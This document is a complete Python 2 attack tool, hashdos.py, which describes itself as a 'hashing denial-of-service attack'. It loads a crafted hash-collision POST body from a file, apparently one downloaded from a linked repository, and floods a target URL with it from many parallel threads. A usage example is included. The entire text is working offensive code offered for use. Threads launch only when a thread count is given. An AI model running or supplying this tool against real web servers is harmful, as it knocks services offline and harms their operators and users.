hashdos.py

import sys, urllib, urllib2, threading

def hashdos(target, data):
    req = urllib2.Request(target)
    req.add_header('Content-Type', 'application/x-www-form-urlencoded')
    req.add_data(data)

    print(urllib2.urlopen(req).read())

def usage():
    print('hashing denial-of-service attack')
    print('by masahiro @MasahiroDavid')
    print('  usage  : hashdos.py <target> <post data> [numfork]')
    print('  example: hashdos.py http://www.example.jp/recv.php killer.txt 50')
    print('')
    print('You can download post data from ')
    print('     https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision')

if __name__ == '__main__':
    if len(sys.argv) == 1:
        usage()
        exit()

    target = 'http://www.example.jp/recv.php'
    data = ''
    numfork = 50

    if len(sys.argv) > 1:
        target = sys.argv[1]
    if len(sys.argv) > 2:
        data = open(sys.argv[2]).read()
    if len(sys.argv) > 3:
        numfork = int(sys.argv[3])
        th = {}
        for i in range(numfork):
            th[i] = threading.Thread(target=hashdos, args=(target, data))
        for i in range(numfork):
            th[i].start()
        for i in range(numfork):
            th[i].join()